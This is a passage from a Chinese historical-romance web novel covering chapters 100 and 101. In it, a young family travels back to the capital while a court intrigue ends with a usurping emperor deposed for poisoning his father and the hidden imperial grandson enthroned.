但她一笑起来,眼睛弯弯的,便不似她父亲那般清冷,而是显得很甜。笑起来的时候弱化了眉眼,便和宣槿妤像了个十成,惹得旁人欢喜不已。 许玉娘便常抱着小孙女亲香,夸宣槿妤会生。 宣槿妤在苏琯璋的帮助下穿好了衣裳,偏头在岚姐儿脸上亲了一口,柔声道:“带你下楼好不好?你的粥还没吃完。” 岚姐儿还不会说“好”,只会说“不”。见娘亲温柔地和自己说话,小手便从她爹爹脖子上拿了下来,拍了拍,“啊不,不。” 说着说着把她自己给说乐了,“噗”的一声喷了一口口水。 幸好宣槿妤偏头偏得快,否则真要被她糊了一脸口水不可。 岚姐儿“啊,噗”“娘,娘”地胡乱叫着,小手还打着拍子,就要往宣槿妤怀里扑。 宣槿妤默默地往苏琯璋身后躲了躲。 便是她自己生的女儿,也还是不乐意被喷一身口水的,要喷就喷她父亲去。 苏琯璋好笑地看着母女俩互动,眼疾手快地掀起岚姐儿的口水巾,挡住了她的口水攻势。 “好了,乖乖岚姐儿,不玩儿了,我们下楼。”他温声道。 “乖乖岚姐儿”这个词组对岚姐儿有着莫名的魔力,她真的安分了下来,仰着小脸让爹爹给她擦小脸、擦小嘴。 下楼要经过隔壁房间。 一家三口走过时,隔壁房门关着,里头像是无人一般,十分安静。 苏琯璋对守在门口的苏十三点了点头,苏十三会意,在男女大小主子都下了楼之后,敲开了隔壁的房门。 翌日,马车行驶前,苏十三无奈地提着一坛酒走了过来,“主子,这是昨日隔壁房间托掌柜的送来的谢礼,属下说不要,但掌柜的说他也做不了主。” 昨夜隔壁房间一夜安静,苏十三说她敲开门说了“谨言慎行”“放心,他们不会将听到的话外传”之后,那些人连夜便离开了酒楼。 没曾想,他们走前竟还留了谢礼。 苏琯璋瞥了一眼那坛子酒,“你收着便是。”便登上了马车,抱住了朝他扑过来的岚姐儿。 “什么谢礼?”宣槿妤松开撑在女儿腋下的手,好奇地问。 方才岚姐儿闹她,她没能将事情全貌听完。 苏琯璋轻轻地掂了掂岚姐儿,逗得她咯咯笑个不停,闻言回答:“昨日隔壁房间的人喝醉了胡说,我让苏十三给他们提个醒。他们离开前,托酒楼掌柜的给我们留了一坛酒,作为谢礼。” 宣槿妤哑然,“一坛酒。” 这些人昨日便是因酒犯了口忌,胆子又小,知道被人听见了便匆匆跑了,竟还惦记着送酒作为谢礼。 她都不知道该说些什么。 苏琯璋轻笑,“不止胆子小,还容易轻信旁人。” 苏十三说不会说出去,这些人竟就真的信了,傻乎乎的,难怪敢聚众喝酒畅所欲言。 也不知道是什么样的人家养出来的天真公子哥儿。 第100章 第100章所有人憋着一口气,等…… 马车速度还是慢了一些,八月中旬到了冲水县,一行人便下了马车,换了水路。 他们早前便已经和快马加鞭南下过来接应他们的苏家暗卫汇合,一行百余人浩浩荡荡的,沿途吸引了不少人的视线。 见他们登船,百姓们皆“窃窃私语”。 “看,那对小夫妻应当就是重回天庭后又下凡的神仙,那仙子手中的孩子,便是他们的小仙童。” “在哪里在哪里?快指给我看呀!船要开了。” “就在船头,一眼就能看到了。哎呀呀,不是这边,喏,就那儿,不是很明显?你眼瞎哦?” …… 宣槿妤抱稳岚姐儿,小声对苏琯璋说道:“他们是不是以为我们都听不见啊?” 百姓们过于热情,她颇有几分尴尬。 从宣文晟信中知道外面传言是一回事,亲耳听见又是另一回事了,她顿时便明白了三哥哥信中所说“心情复杂”是个什么滋味了。 先前他们一路北上,并没怎么听到百姓们谈论他们一家三口的事,多是在谈论新帝弑父杀君的罪行。 但因着后面从京中传出了禁令,禁止私议帝王,违者按“大不敬”之罪论处——此乃重罪。 “大不敬”的罪名在前朝是很严重的,轻则抄家流放、重则诛九族,堪比谋逆之罪。 但这条罪名早就被开国太祖皇帝废除,如今竟又被提出来了,百姓们心里嘀咕归嘀咕,但到底不敢再像之前那样放肆言谈了。 没看县衙里的衙差,闲得日日到街上闲晃,尤其盯着各大酒楼茶肆不放,就只等着抓人呢? 就连最是意气扬扬的书生们,也被震住了。 他们死不要紧,“大丈夫生而何欢,死而何惧”1?但若是连累全族,那便是堕入十八层地狱都无法洗清的罪孽。 知县也担心辖下百姓们犯了轴性,没了性命不说,还要连累他这个当官的。 这不,想起前些日子传得热热闹闹的、关于苏家小公子一家三口的事,便让衙差给盯梢的酒楼食肆茶楼都递了话,说书先生便继续说起书来。 他们一行人昨夜在酒楼下榻时天色已晚,没多少人认出他们来,宣槿妤还庆幸了一回。 今日可好,他们在这冲水县码头一露面,便被人认出来了,还个个说起了此前传得有模有样的神仙下凡论。 宣槿妤听得面上都发起烫来,臊的。 苏琯璋轻笑,将她怀里过分 扑腾的女儿接过来,“是真以为我们听不到。” 盛世之下,市井街头的百姓们,大多都十分淳朴。但有一点为自矜身份的人所不喜,便是说话嗓门太大,听着总像是在吵架。 这些百姓都要将码头围得水泄不通了,还一个个自以为隐晦地指着船上的人,尤其他们一家三口。 离得这样近,百姓们说话的声音又毫不遮掩,他们听不见才是奇事。 “看,小仙童被那仙君抱起来了。” “诶,仙君笑了,刚刚还清清冷冷的,我都没敢多瞧。真好看呐!” “仙子才好看哩,乖乖,不愧是神仙下凡。” …… 岚姐儿非要站在船头咿咿呀呀的,宣槿妤忍着浑身的不自在,微微偏了偏身子,躲在了苏琯璋的身后。 她再是落落大方,也经不住百姓们这样热情浮夸的赞誉,过于离谱了。 大船被苏十二包了下来,足以容纳百余人的船只除了船夫和船娘,便只有他们苏家一行人,还只是将将够住。 看着松弛无比,实则暗中绷紧了心神的暗卫们若无其事地散落在大船各个角落,提防着任何可能的骚乱或暗杀。 百姓们的大声议论落入他们耳中,苏十二和苏十三面面相觑,而后不约而同地憋着笑偏了头。 “咳咳,都警醒些。”苏十二教训自己的一帮手下,“笑什么笑?有什么好笑的?” 不好笑,那头儿你方才怎么也笑了? 暗卫们心里嘀嘀咕咕的,但到底忍住了,面上也恢复了平静,一派镇定安然的模样。许是跟着苏琯璋久了,不知不觉中也得了他两分真传。 此时大船还未开,岚姐儿见岸上聚集了一帮人,个个面朝着他们,表情十分生动,她也跟着开心起来。 “爹、爹,娘、娘,祖、祖、啊祖、啊祖,白、白……”她也不嫌烦,一个个点过去,笑得整张小脸像是刚出锅的白面包子,小褶子都出来了。 瞧着就十分讨喜。 被她挨个点到的人都忙不迭地回应着她,便是白隼,也扑腾了几下翅膀。 从冲水县北上,有很长一段水路是顺流而下的,故而他们走得飞快。 才不到八月底,他们便已经抵达了北丘府。 北丘府多山,水路弯弯绕绕。除非运货,否则若非不得已的情况,并不适合坐船。那晃晃悠悠、横冲直撞的水流,能将不晕船的人都晃晕过去。 故而,大部分的旅人,到这里便得继续坐马车了。 苏家一行人也不例外。 才登上马车,行驶不过半日,昨日离队的白隼又飞了回来,带回盛京城中最新的消息。 先帝诬陷先太子、逼迫他自戕,且弑父杀君的罪行曝光了。 他们前些日子在船上不知道,如今这消息像是长了翅膀似的,已经传遍了大盛。 天下哗然。 新帝弑父杀君便也罢了,竟连先帝,也是弑父杀君登上的帝位。 真的是……不愧是父子么? 不过,显然在天下人看来,先帝的罪责要更重些。 毕竟,先帝在位十多年,无功无过,没什么值得夸耀,也没什么值得贬损的。 但是正明帝可是朝野称赞的好君王,且先太子,那是连百姓们都期盼登基的贤明储君。 但是先帝杀了一个不止,他还杀了两个! 这下,纵然有着“大不敬”罪名的震慑,也多的是人不惧,议论不止,消息才会传得这样快。 马车上,宣槿妤看着苏琯璋将信纸置于火盆上,等火势渐小,她才抬眸看他,“信上怎么说?” “一切皆按计划在进行。”苏琯璋回答。 和揭露新帝盛誉罪行的直截了当不同,揭穿先帝的罪行,得徐徐图之。 一个已经入了皇陵的帝王,世人皆秉持着“死者为大”的念头,并不会轻易对他产生什么恶感。 盛誉不是喜欢操纵流言么? 他们亦可一用。 不过是先放出点消息,在秋狩时引人想起多年前先太子纵马射猎的英姿。 再在中秋佳节、书院大比之时,取出先太子当年为劝学而亲自写的言论,让天下学子感受到他的学识和胸怀。 武将、文人,还有百姓。 一场学院大比,将人们的心绪牵引回到二十多年前。 流言一出,年长些的人都想起了二十多年前那个风华无双的太子殿下来。 再适时放出点风声。 堂堂一国太子,岂是这么容易构陷的?莫非是有人从中作梗? 若看罪魁祸首,端看谁是利益最大者。 很明显的答案,已经入了土的先帝便是这样回到众人视线之中。 “定是先帝怕三司会审时还给太子清白,所以提前杀了太子殿下。” “还有太子妃,说不准先帝就是拿太子妃和她腹中小皇孙的性命要挟,太子才束手就擒的。” …… 谁不知道,太子对太子妃的情深义重? 不用推波助澜,只需要抛出当年太子之死有异的引子,再结合先帝弑父之举,百姓们便会自发地补全剩余的“真相”。 而当年对事实略知一二的朝臣,心里未必不会藏了旁的想法。秘密守了二十多年,他们比任何人更希望变了这天。 端看,是否有真正的正统血脉留存于世。 于是,“皇太孙还活着”的消息,也顺势从某个高官口中传了出来。 诚亲王当时入宫一趟,回到王府时便病了,被气的,兼之担忧大盛国运,病情一直缠绵未愈。 如今听闻先太子之子留存民间,拖着病体,亲自登上了宣家大门。 “像,真像啊!”诚亲王老泪纵横,紧紧握着宣文晟的手不放,“孩子,你可真像你父王。” 诚亲王是宗人令,掌管宗人府,代表皇室尊严,维护皇室正统。他开口盖章定论的话,便少有人会再质疑。 便是有那不愿相信的,只待亲眼瞧一瞧宣文晟那张脸,再看看守在他身边的,先太子侍卫统领,便不会再说出什么造假的话来。 何况,宣兆手中,还握着先太子的亲笔手书。 “盛誉就没有什么反应?”宣槿妤皱着眉,她可不相信,他会束手就擒。 如今天下皆知先帝和当今皆得位不正,不仁不义、不忠不孝,品行之恶劣、罪孽之深重,不堪为帝。 已经有学子到宫城门口静坐,请求废帝,重立新君了。 文武兼备、德才上乘的先太子有嫡亲血脉留下,当初正明帝又没有废太子,宣文晟乃是名正言顺的皇太孙,改换新君不过是拨乱反正。 苏琯璋正要回答,便听得车厢门被敲响,他拉开门。 许玉娘站在前室,怀里抱着小嘴巴鼓鼓、不停扭动着身子的岚姐儿,见门打开,有些无奈地对着儿子说道:“岚姐儿闹觉,但你们不在身边,她不愿意睡。” 岚姐儿自出生以来,就几乎没怎么离过爹娘视线。 这近两个月时间里,虽然和曾祖母、祖母、还有一众暗卫侍卫们混熟了,愿意短暂离开父母身边,和他们玩闹,但睡觉前还是要回到爹娘怀里的。 苏琯璋十分清楚这一点,忙将女儿接过来。 岚姐儿在祖母怀里还扭啊扭,且哼哼唧唧的,十分闹人。但被父亲抱起来之后便安分下来,小脸搁在他肩头,很快闭上了眼睛。 她的真的困极了,方才险些哭了,双眼还是没能 闭上。 许玉娘瞧得又欣慰又酸涩,小孙女何时才能和她这样亲呢? 不过她看得很开,这种事急不得。 “母亲先回去了,等岚姐儿睡醒了、愿意找我们玩儿了你记得送她过来。”许玉娘叮嘱道,视线在呼吸均匀的孙女身上流连一瞬,见苏琯璋点了头,便转头跳下了马车。 宣槿妤见婆母来得匆忙,又风风火火地离开,都没给她问安的机会,一时失笑。 苏琯璋关了车厢门,回身在宣槿妤身边坐下。 “女儿睡着了。”他说。 睡得这样快。 宣槿妤爱怜地摸了摸女儿的小脑袋,“这皮孩子,难为祖母和母亲愿意日日哄着她。” 还不到一岁的小人儿,闹起来能将车厢顶掀翻。她在前头马车里听过几回后方动静,都能想得到女儿是怎么闹她曾祖母和祖母的。 苏琯璋偏头亲了亲女儿的小脸,又在女儿她娘亲嫣红的唇瓣上亲了亲,笑道:“祖母和母亲说这一路挺无聊的,岚姐儿去闹一闹也无妨。” 宣槿妤抿了抿唇,眉眼微弯。 马车重新动了起来,车辙在宽敞的官道上留下不明显的印子,很快又被后方马车车辙印覆盖。 苏琯璋继续和宣槿妤说着方才未完的话题。 “盛誉知道大势所趋,但不想束手就擒。” 若非宣文晟还没什么动静,且皇室宗亲里有兵马的王爷们都被附近驻守的军营看得死死的,早就有人打着“勤王”的名号攻进盛京城了。 勤王,王是谁,不言而喻。 盛誉大怒,他还没死呢! 在位的君王,被人这样挑衅,岂能容忍?何况还是要将他拉下帝位、三司会审,日后还生死不明。 到底是当了四年多的皇帝,又是有野心、有手段的人,收拢的人里头也有得用的,知道宣文晟是不想大动干戈,而是想平稳地取代他登上帝位。 但盛誉岂会如他所愿? 他不敢动用苏家军,但他却下令苏家军抛下漠北回京勤王,反正敌国已经无力再犯。 这才是真的“勤王”! 苏家军只认苏家人,以前主将失踪、苏家人被流放,接到圣旨,他们还有可能犹豫一番。 但苏印已经回营,又才打败敌国、间接摧毁敌国大政,名望正盛,接到圣旨,便直接拒绝了。 道是近两任皇帝皆弑父杀君,有违天道、有违国本;苏家人代代忠孝,愿意尊皇太孙为帝。 这是第一位直截了当表明立场的将领。 此后,朝中便有数位掌握兵权的将领表明了态度,支持皇太孙。 朝中如今依旧在犹豫观望的,仅有少数人,且多是先前被新帝拉拢过去的臣子。 而这时,新帝一派的臣子,刑部尚书梁方方站了出来,交出了他被新帝指使、毒杀太傅的证据。 天下哗然。 此前只道是新帝弑父弑君,但他一直不肯承认,因为缺了一样十分重要的物证,便是那毒是何物。 梁方方跪在诚亲王面前,哭得难以自抑,“臣有罪,亲手给林太傅下了毒,愿意伏诛。只希望王爷看在罪臣主动揭发的份上,和皇太孙求情,饶过罪臣的家眷,他们都是无辜的。” 朝臣们和梁方方同朝为官多年,何曾见过他这副模样? 一句“刑部上下皆是圆滑精明之人”,可不是简单说说而已。钦佩的人不少,不喜的人也多,但真愿意看他倒霉的人还真没有多少。 朝臣们唏嘘不已,只有一向和梁方方不对付的宣兆冷眼看着,神情不辨喜怒。 林太傅是宣尚书的岳父! 有朝臣忽然记起这一点,偷偷地去瞥宣兆的反应,奈何什么也没能看出来。 诚亲王看了一眼宣兆,叹了口气,也没有扶起梁方方,只道:“梁尚书,将你知道的事情,都说出来罢!” 他有预感,这一切很快便要结束了,不管盛誉愿不愿意。 梁方方没有得到承诺,也没有再继续纠缠,只重重地磕了头,一下又一下,沉闷又响亮。 听得他身后的刑部侍郎心都揪了一下,好歹是共事多年的上峰,他到底有些不忍心。 宣兆扔给梁方方一方素色帕子。 已经停止磕头的梁方方接过,眼神复杂地仰看他一眼,擦干了眼泪,也没管额头上渗血的伤口。 梁方方就跪在朝堂正中,向宗人令和朝臣们叙说起他所知的事情来,一切毫无保留。 先帝之前,皇帝还是正明帝,是被载入史册的清明之君。因嫡长子先太子之死而悲痛过度,不幸辞世,这是世人的遗憾。 但是盛誉被罚戍守皇陵一年,没人敢想到,他会在皇陵中找到一条通往皇祖父陵寝的密道,打开了正明帝的棺椁。 先帝自己弑父夺位,自以为尾巴被清扫得很干净。 他绝不会想得到,竟有人如此胆大包天,竟能进得陵寝,还打开已故国君的棺椁。 二十多年过去,便是被封入棺椁中,埋葬在深深的地下,正明帝也早已化作一具枯骨。 当年所有太医都看不出脉象有异,只以为正明帝是哀恸过度伤身而亡,只多年过去,尸骨上现出了端倪。 盛誉也真是个胆大却心细的,从他私自开皇祖父的棺椁便知,他对已故的皇祖父没有半点敬畏之心。 何止,他还将正明帝尸骨上漂浮起来的黑色粉末刮了下来,带出了陵寝。 那些黑色粉末,后来被他下到了先帝身上。 因不满一直势弱而毫不起眼的三皇子盛誉,越过一众优秀的兄弟当上太子,当时皇子们蠢蠢欲动。 互相构陷、污蔑谋反、派人暗杀……短短半年,先帝二十余名皇子,死的死,残的残,再构不成什么威胁。 先帝染上风寒之前,才得知一直属意的储君五皇子,圈禁期间因嫔妃相斗,而被误杀之事。 最宠爱的孩子意图谋反在先,被身边嫔妾误杀在后,先帝那日吹了冷风,一病不起,而后崩逝。 这便是世人所得知的事实。 可林太傅当年起了疑心,一面顺势将太子盛誉推上帝位,一面派暗卫去了皇陵。 暗卫在皇陵一处荒地发现了死状相同的各种小动物,将其中几具骸骨烧成粉末带回京中。 林太傅学盛誉的做法,用抓到的老鼠做了试验,意外发现它们的死状和先帝一模一样,便猜出了真相。 可他手中证据不足以扳倒盛誉,且皇子们当时死的死、残的残,仅有盛誉一支独苗。 最重要的是,林太傅知道宣文晟没有为帝的心思,而大盛,才刚结束皇子夺嫡引起的数场内乱,不能再生事了。 他观盛誉行事,狠辣且一击即中,若真当了帝王,倒也可以承担起大盛的江山。 于是,他收起了手中的物证,上书致仕,但被盛誉拒绝了。 他便只得收敛心思,一心辅佐盛誉,助他坐稳皇位。 只是,林太傅直到中了毒,命不久矣,才得知口口声声奉他为师的人,到底还是对他下了手。 “林太傅中毒当夜,罪臣家中进了人。”梁方方面色颓丧,“臣便知晓,陛下所做之事,皆被人看在眼中。” 当了多年的刑部尚书,梁方方当年能够根据林太傅中毒后的反应,反推出先帝的死因,便也能够看清楚此后的局势。 所谓谣言,不过是皇太孙一派为助他顺利登基而造的势罢了。 自苏印平安回到漠北,此后发生的一桩桩、一件件事,他都看在眼中。他在等,等梁家一个可能的生机。 直到今日,一个没有皇帝临朝的早朝…… 皇太孙手中定然还有林太傅保留的物证,不知为何还未拿出来。梁方方索性,助他们一臂之力,以求家中老小脱罪。 梁方方身子深深跪伏下去,“罪臣所知一切都已经说出来了。” “盛誉弑君杀父、弑杀老师的物证,在罪臣这里。”他没有起身,额头依旧触地,左手伸进怀中,取出了一样被绢帕包裹得严严实实的东西。 离他最近的宣兆伸手接了过去,交给诚亲王。 诚亲王招呼大理寺卿和御史大夫过来,三人一起打开了那绢帕,便见到被油纸包裹着的、瓶塞十分严实的药瓶。 “传太医和仵作来。”大理寺卿道。 朝臣们默不作声地看着,一会儿看看那围成一小圈的人,一会儿又看看跪伏不起的梁方方。 三司会审,当是大理寺、刑部和御史台负责。 审判一国之君,大盛还无先例,推论应由三个部门官职最高的官员负责。但是,刑部尚书就跪在这里,看样子是不会起身的了,也没人敢劝他起身。 毒杀同僚,还是太傅,这罪名也不轻。 宫城门口,连着静坐了十来日的学子们依旧待在那里,人数瞧着更多了。就连一些 不必为生计奔波的百姓,也都学着,坐在了外围。 上早朝的一众朝臣都没有出来,皇宫内院,盛誉也被“客客气气”的禁卫军“保护”在了即正殿。 所有人憋着一口气,等待着最后的结果。 第101章【正文完结】 第101章 正文完结罚我往后余生,做…… “为力求公平公正,避免冤假错案,三司会审流程都十分漫长。”苏琯璋说道,将怀中熟睡的岚姐儿放进身旁的小竹床里。 宣槿妤点点头,没有说话。 “但如今情况特殊,应当明日便会有结果传来了。” 原先主要是三司会互相牵制,一个案子要反复审核评判,不会轻易下定论,自然时间漫长。 但如今天下人都在等着最后的审判,流程虽然必不可少,但证据确凿的情况下,相应的互相牵制应当会少上许多。 “外祖父留下来的物证在三哥那里,若梁尚书还不站出来,便得交出去了。” 直接由他们的人交出去也不是不可以,但比起由皇帝一系的梁方方去交、去指证,到底缺少几分可信度,也被动许多。 幸好,梁尚书看得明白局势。 只是可惜了! 外祖父已经丧命,接下来,就轮到他偿命了,虽然他也是被人指使的。 苏琯璋说到这里,车厢里安静下来,只有马车辘辘行驶的声音,透过开着的车窗传入耳畔。 中秋佳节他们是在大船上度过的,如今已是霜降,越往北,便越能感受到秋意的萧瑟。 官道两旁的高大林木飒飒作响,偶有凉风打着旋儿盘桓,微微枯黄的叶片便会翩然离开树枝。 一枚黄叶掉进车厢,落在宣槿妤手上,她却没有任何反应,任由黄叶滑落于地。 她此时正握着林太傅生前最后留给她的那封信,已怔然许久。 那封信上,什么正事都没写,只写了些让外孙女儿记得天冷添衣、受了委屈也别憋着、往后和外孙女婿好好过日子之类的平常话。 还有表达对曾外孙女出生的欣喜的: “听闻你顺利生下一女,取名岚姐儿。愿她和这名字一样,日后长成一个灵秀的小姑娘。” “外祖父这些时日又想起你小时候的模样,若岚姐儿长得像你,当是十分漂亮了。不过,若是随了外孙女婿,也应是个俊俏的小姑娘。” 只在信的末尾,才泄露了老人的几分遗憾,“外祖父还未见过岚姐儿,若是脱困回京了,带她给外祖父上柱香罢!” 这封信,宣槿妤一直贴身藏着,直到方才,听闻梁方方当朝揭露林太傅的死因,才忍不住将信取了出来。 外祖父,你的仇,很快就能报了。 宣槿妤沉默许久,忽而泪如雨下。 苏琯璋看得心疼,却不知如何安慰她,只好沉默着将她抱到怀中。 岚姐儿在小竹床里翻了个身,小脸正对着夫妻俩的方向,唇角眉梢皆挂着甜甜的笑意,当是做了个好梦。 宣槿妤已经被苏琯璋擦干了眼泪,见到女儿熟睡中这样可爱的小模样,也不觉露了一抹笑,伸手进小竹床里,替她掖了掖小被子。 盛京城,宣府。 宣兆、宣文威父子俩还未踏入家门,宗人令诚亲王联合朝廷官员,废除当今帝位的消息,早已经由静坐宫门的学子和百姓们口中传了开来。 宣文晟在半个时辰前被诚亲王带着禁卫军,亲自迎入皇宫,商议着登基之事,此时还未有消息传回。 “怎么样了?”林清婉问丈夫和长子。 纵然知道女婿和丈夫的安排十分妥当,但为人母者,总是不由自主地为孩子牵挂着。 即便宣文晟不是她亲生的,但养了这么多年,她早已将他当成自己的亲子。 宣兆小心翼翼地看着妻子的面色,斟酌道:“已经顺利进了宫。” 他在担心。 宣文晟入了宫,日后便再没有宣家三公子这个人,只有即将登基的皇太孙。 他担心妻子承受不住失去儿子的痛苦。何况,他们当年,确确实实经历过一次丧子之痛。 林清婉当年生下了一名男婴,与太子妃产子在同一日,本来宣兆将宣文晟抱回家中时是想将他当成双生子之一养大的。 可惜的是,他的亲生次子身子孱弱,才出生不到一日便夭折了,宣文晟便直接顶替了他的身份。 宣兆的担心不无道理。 宣文晟的身份曝光,林清婉的确有一瞬间想起了她那个无缘的孩子。 很可惜,这个和她有缘、叫了她二十多年“母亲”的孩子,也要离她而去了。 自目送宣文晟踏出宣府大门,她便开始胡思乱想起来。 如今听到宣兆的回答,林清婉面上便没藏好,泄露出一丝黯然情绪。 宣兆看出妻子的难过,顾不得长子在侧,忙抱住她,“别担心,亲家公还在宫里,文晟……皇太孙不会有事。” 宣文晟入了宫,第一件事便是命苏声直接临时接管了盛京城所有军队,包括禁卫军和兵部营卫队。 有苏声在,便是那谁想最后一搏,也翻不出什么浪花来。 林清婉注意到丈夫的用词,心里越发难过,且酸涩。 是了,次子入了宫,恢复了皇太孙的身份,不久后便会登基为帝,再不是宣家三公子了。 以后,“宣文晟”这个名字,也将不复存在。 连带着,方沅沅和秩哥儿与他们家的干系也不复存在。 她相当于一日之内,同时失去了次子、儿媳和孙子。 林清婉“嗯”了一声,佯装平静,眼泪却不知不觉,浸湿了宣兆胸前的衣裳。 翌日,白隼果真带回“拨乱反正”的消息。 “盛誉已经被废,三哥……皇太孙不日即位。” 如今大事已成,再不惧信纸不慎被风吹出窗外惹来事端,苏琯璋看完信,便没有立即焚烧,而是先将信纸拿到宣槿妤面前。 宣槿妤一如往前那般偏开头,“你说给我听。”她才不要看到任何有关狗皇……哦废帝的任何信息。 苏琯璋将她抱坐在自己怀里,“事情很顺利。皇太孙昨日被迎入了宫,诚亲王已经将他的名字添在玉牒上,改名‘盛宣’。” 改名…… 宣槿妤眼睫一颤。 苏琯璋揽紧她,低声道:“三哥重情重义,想必不会因为改了名,便会忘记在宣家二十多年的事。” 不过是一个名字,人还是那个人。 “而且,以‘宣’为名,还是他主动要求的。”苏琯璋担心地观察着宣槿妤的反应。 好在,她还算是平静。 他微微松了口气,“信上没提‘宣文晟’这个名字是否销户,但我想,应当没有。” 苏琯璋猜得不错。 属于“宣文晟”的户籍确实未被销掉。 在大盛,死了的人才要去京兆府销户。但若是户籍变动,比方说“过继”之类的,也要将原先的户籍销掉,重新在继父母名下登记。 宣文晟情况虽然和过继不同,但他上了皇家玉牒,相当于也是和宣府切割开了。 但宣家族谱上,宣文晟的名字依旧未被划去;就连京兆府那里,户籍也依旧保留着。 诚亲王劝说过他几回,但宣文晟坚持保留,便也只得作罢。 反正人只有一个,上了皇家玉牒,日后登基当了皇帝,总归不会再回到宣府,不销户便不销户罢! 只要不传出去,也没什么影响。 “九九重阳那日,便是三哥登基之时。”苏琯璋低声道。 国不可一日无君。 朝野皆关注着新帝登基的时日,当然是越早越好。 而重阳节,这是钦天监算出来适宜举办登基大典的最近的佳日,同时又是祭祖之日,刚好可以由新即位的皇帝主持,再恰当不过。 唯一的顾虑,便是时间太赶了些。 还有不过几日的准备时间,礼部却要同时兼顾新帝登基大典和皇家祭祀仪式,估计这当会儿已经焦头烂额了。 的确,礼部上下如今已经忙疯了,连口水都顾不上喝。一个个的,嘴唇都干到起皮,眼睛下方还挂着大大的暗影,一看便知昨夜没睡好。 其实何 止是没睡好,根本就是一夜未眠。 从昨日获悉钦天监算出来的登基日子,皇太孙和诚亲王皆点头允准之后,礼部上下便连骂人的时间都没有,一直连轴转到现在。 观他们情态,想必接下来几日,也没得一口歇息的时间。 凄凄惨惨的,连带着到礼部和他们商议登基大典和祭祀细节的太常寺官员都小心翼翼的,满目同情。 他们已经足够凄惨,也是忙到脚不沾地、连饭都来不及吃;但如今见着比他们更惨的一群人,心里的怨气便也消散不少。 钦天监这时来人,想说皇太孙欲将皇后娘娘的册封大典和登基大典一同举办,日子他瞧过也是合适的。 但见着礼部和太常寺两帮人核对一众仪式细节,语速已经快到几乎听不清在说什么,他便闭了嘴。 这群人急得头上都要冒烟了,若再加上一个封后大典,非将这批人逼死不可。 宣文晟问起时,他也不敢说谎,只说日子合适。但想起礼部和太常寺两帮人的惨状,本着关爱同僚的好心,他还是委婉地提了一两句。 诚亲王老神在在的,听到了也不怎么放在心上。 他只要确保皇帝安安稳稳登基便足够了,礼部和太常寺官员的死活并不在他需要考虑的范围内。 当然,皇后的册封大典安排在什么时候,他也并不在意,只看皇太孙的意思。 倒是宣文晟,沉吟片刻,点点头,到底没再强求。 但夜间他在清风的掩护下,悄悄回了一趟宣家,亲吻着方沅沅,“抱歉,只能等登基大典过后,再将你接入宫中了。” 皇后的册封大典未办,便是方沅沅是他名正言顺的发妻,也不大合适住进宫里,会让人看轻她的。 方沅沅显然并不在意,她回吻着丈夫,“无妨,我在家多陪陪娘,” 公爹面上看不出什么,但婆母显然十分舍不得宣文晟。她入了宫之后,想来不大轻易能出宫了,她便借着最后能够留在宣家的时日,好好替他尽尽孝。 北上的马车离京城还有八百多里的距离时,消息传回,方沅沅的册封大典也顺利举行,一家三口都已经住进了宫里。 而大赦天下、减免税赋的圣旨也早已传遍大盛。 敕封宣兆为护国公、方沅沅父亲为承恩公的旨意也在皇后的册封大典翌日同时下达,两家夫人也相应得了一品诰命夫人的旨意。 敕封宣家独女宣槿妤为无忧长公主,以广安府为食邑。圣旨已经在路上了。 宣槿妤听闻册封她为长公主的消息,没什么太大的反应。只在听到封地为广安府的时候,才欲言又止。 “这不大妥当罢?”她对苏琯璋说道。 广安府何等富庶,给她是太过浪费了。“我要劝阻三哥哥么?” 苏琯璋亲了亲她的手,“你决定就好。” 此番宣文晟能够顺利登基,多得他的筹谋,和苏家老少几位将军的支持。 明面上,远在漠北的苏二叔苏印是第一个出言支持皇太孙登基的将军,而后一呼百应。 暗地里,苏声和三位少将军北上回京时,可没少和驻地将军“谈心”。 否则,先帝和盛誉皆弑父杀君、不堪为帝的消息传出,地方驻军也不会将蠢蠢欲动的封地王爷们看得死死的,从而避免了兵祸。 但事情已毕,信中却未曾提及新帝盛宣要如何封赏苏家人。 苏琯璋并不在意这个,他们苏家已经足够荣耀。 不过,依着他对宣文晟的了解,待他们入京之后,定会有安排的。 此时立冬刚过,路上枯黄的枝叶已经不见踪迹,一路光秃秃的。 风也变得凛冽起来,岚姐儿再要求带她飞飞的时候,多数时候都被拒绝了,除非她父亲许可。 为此,岚姐儿整日撅着个小嘴巴,瞧着闷闷不乐的。 可将苏老夫人和许玉娘心疼坏了。 这孩子是个活泼爱笑的,便是闹觉了也只是哼唧一会儿,回到爹娘怀里就安分睡了。可曾见她这样整日、整日不开心的小模样? “哎哟,乖乖岚姐儿,曾祖母带你走路好不好?”苏老夫人哄道。 许玉娘也诱哄:“乖乖,祖母带你玩九连环,你不是很喜欢的吗?” 但岚姐儿只撩起眼皮看了她们一眼,便撅着小屁股,重新趴回温暖舒适的床榻上,没理睬她们。 宣槿妤好笑地看着祖母和婆母着急的样子,“祖母、母亲,别管她,都惯坏她了。” 她拍了拍女儿的小屁股,“曾祖母和祖母跟你说话呢,你怎的不理人?” 岚姐儿如今满十一个月了,已经学会走路,叫起曾祖母和祖母来也比较流利了,往日里哄得她们心花怒放。 现下可好,不过是担心她吃了冷风闹肚子或染风寒,她便给两位祖母脸色看了。 这样可不行! 岚姐儿未满周岁,便已经收到了来自娘亲的“亲切教导”,窝在父亲怀里伤心地哭了好一会儿。 但她记吃不记打,等宣槿妤夜里抱着她玩儿时,娘儿俩便又亲亲热热的了。可将苏琯璋、苏老夫人和许玉娘逗乐了。 盛京城飘起第一场雪时,宣槿妤他们的马车才将将驶入城门。 “好冷。”她窝在苏琯璋怀中,摁住因看到雪花而兴奋到手舞足蹈的岚姐儿,“可不能再开窗了。”她对女儿说道。 那风吹进来,便是炭盆再热也抵挡不住那股寒意。 去岁冬日他们是在淮招县过的,便是大雪封山,山洞里也是暖意融融的,她没怎么察觉到冷。 而今还不到十月,末秋时节,雪花便飘起来了。 苏琯璋含笑看着妻女在他怀中玩闹,接话,“嗯,今年比去年下雪还早上些日子。” 去岁盛京城是十月下雪的,而今才是九月中下旬,第一场雪便已经落下了。 立冬过后,趁着水面尚未结冰,他们搭上了前往盛京城的大船。一个多时辰前,他们在码头登上了苏国公府派人去接他们的马车。 如今几辆马车都是带着苏国公府徽记的。 故而一路行来,皆有百姓避让,而后窃窃私语。 皇城脚下的百姓们,行事要比冲水县的百姓们要懂分寸许多。他们议论起人来,是真的懂得收敛声息的。 “是苏小少将军和宣小少夫人回来了,好像还带着他们的女儿。” “他们下船的时候我见到了,”有人接话,“是真的。” “当初宣小少夫人坠崖,听说苏小少将军直接就跳下去了。” “唉呦,我要得这么一个佳婿,我那女儿就有福了。” 